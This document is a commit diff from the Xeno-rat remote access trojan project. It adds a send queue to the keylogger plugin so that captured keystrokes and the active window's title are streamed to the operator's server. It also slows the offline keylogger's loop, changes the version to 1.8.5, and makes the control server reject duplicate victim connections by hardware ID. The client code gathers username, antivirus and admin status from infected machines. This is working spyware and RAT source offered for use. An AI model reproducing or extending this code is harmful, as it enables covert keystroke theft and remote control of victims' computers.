fixed the keylogger issue (idk how i missed that), also added double …

…client blocking in the server

Plugins/KeyLogger/keyLogger.cs

@@ -7,6 +7,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using System.Windows.Forms;
+using System.Windows.Forms.VisualStyles;
 using xeno_rat_client;
 
 
@@ -33,6 +34,8 @@ public class Main
         Node node;
 
 
+        List<string[]> SendQueue = new List<string[]>();
+
         public async Task Run(Node node)
         {
             await node.SendAsync(new byte[] { 3 });//indicate that it has connected
@@ -50,8 +53,13 @@ public async Task Run(Node node)
             }).Start();
             while (node.Connected())
             {
-                Application.DoEvents();
-                await Task.Delay(1);
+                if (SendQueue.Count > 0) 
+                {
+                    if (SendQueue[0].Length != 2) continue;
+                    await sendKeyData(SendQueue[0][0], SendQueue[0][1]);
+                    SendQueue.RemoveAt(0);
+                }
+                await Task.Delay(10);
             }
             if (hookHandle != IntPtr.Zero) 
             {
@@ -60,9 +68,9 @@ public async Task Run(Node node)
 
         }
 
-        public async Task sendKeyData(string charectar) 
+        public async Task sendKeyData(string open_application, string charectar) 
         {
-            string open_application = xeno_rat_client.Utils.GetCaptionOfActiveWindow().Replace("*", "");
+
             if (node == null || !node.Connected()) return;
             await node.SendAsync(Encoding.UTF8.GetBytes(open_application));
             await node.SendAsync(Encoding.UTF8.GetBytes(charectar));
@@ -79,7 +87,9 @@ public IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
                 {
                     character= character.ToUpper();
                 }
-                sendKeyData(character);
+                string open_application = xeno_rat_client.Utils.GetCaptionOfActiveWindow().Replace("*", "");
+                string[] sendData = new string[] { open_application, character };
+                SendQueue.Add(sendData);
             }
             return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
         }

Plugins/KeyLoggerOffline/KeyLoggerOffline.cs

@@ -101,8 +101,7 @@ public async Task Run(Node node)// get server side intergation (I mean like xeno
             {
                 while (!FULLSTOP) 
                 {
-                    Application.DoEvents();
-                    await Task.Delay(1);
+                    await Task.Delay(1000);
                 }
             }
 

xeno rat client/Handler.cs

@@ -58,7 +58,7 @@ private async Task GetAndSendInfo(Node Type0)
                 return;
             }
             //get hwid, username etc. seperated by null
-            string clientversion = "1.8.0";//find a way to get the client version.
+            string clientversion = "1.8.5";//find a way to get the client version.
             string[] info = new string[] { Utils.HWID(), Environment.UserName, WindowsIdentity.GetCurrent().Name, clientversion, Utils.GetWindowsVersion(), Utils.GetAntivirus(), Utils.IsAdmin().ToString() };
             byte[] data = new byte[0];
             byte[] nullbyte = new byte[] { 0 };

xeno rat server/MainForm.cs

@@ -57,7 +57,7 @@ public MainForm()
         {
 
             InitializeComponent();
-            this.Text = "Xeno-rat: Created by moom825 - version 1.8.0";
+            this.Text = "Xeno-rat: Created by moom825 - version 1.8.5";
             key = Utils.CalculateSha256Bytes(string_key);
 
             ListeningHandler =new Listener(OnConnect);
@@ -153,7 +153,25 @@ private async Task OnConnect(Socket socket)
                     return;
                 }
 
-                //currentCount++;
+                List<ListViewItem> possibleDuplicates = GetClientsByHwid(clientdata.Text);
+                List<string[]> duplicates = new List<string[]>();
+                foreach (ListViewItem i in possibleDuplicates) 
+                {
+                    string[] match = new string[] { i.SubItems[2].Text, i.SubItems[7].Text };
+                    duplicates.Add(match);
+                }
+
+                if (duplicates.Count > 0 && duplicates.Contains(new string[] { clientdata.SubItems[2].Text, clientdata.SubItems[7].Text })) 
+                {
+                    client.Disconnect();
+                    return;
+                }
+
+                listView2.Invoke((MethodInvoker)(() =>//add the clientdata to the listview
+                {
+                    clientdata = listView2.Items.Add(clientdata);
+                }));
+
                 Node HeartSock=await client.CreateSubNodeAsync(1);//create HeartBeat Node
                 if (HeartSock == null) 
                 {
@@ -175,6 +193,19 @@ private async Task OnConnect(Socket socket)
             }
         }
 
+        private List<ListViewItem> GetClientsByHwid(string hwid)
+        {
+            List<ListViewItem> results = new List<ListViewItem>();
+            foreach (ListViewItem cliView in listView2.Items)
+            {
+                if (cliView.Text == hwid)
+                {
+                    results.Add(cliView);
+                }
+            }
+            return results;
+        }
+
         private async Task CompleteOnConnectTasks(Node client) 
         {
             foreach (string i in OnConnectTasks) 
@@ -387,11 +418,8 @@ private async Task<ListViewItem> GetAddInfo(Node type0node)
             lvi.SubItems.Add("");
             lvi.SubItems.Add("0");
             lvi.SubItems.Add("0");
-            listView2.Invoke((MethodInvoker)(() =>
-            {
-                item=listView2.Items.Add(lvi);
-            }));
-            return item; 
+
+            return lvi; 
         } 
 
         private void OnDisconnect(Node client)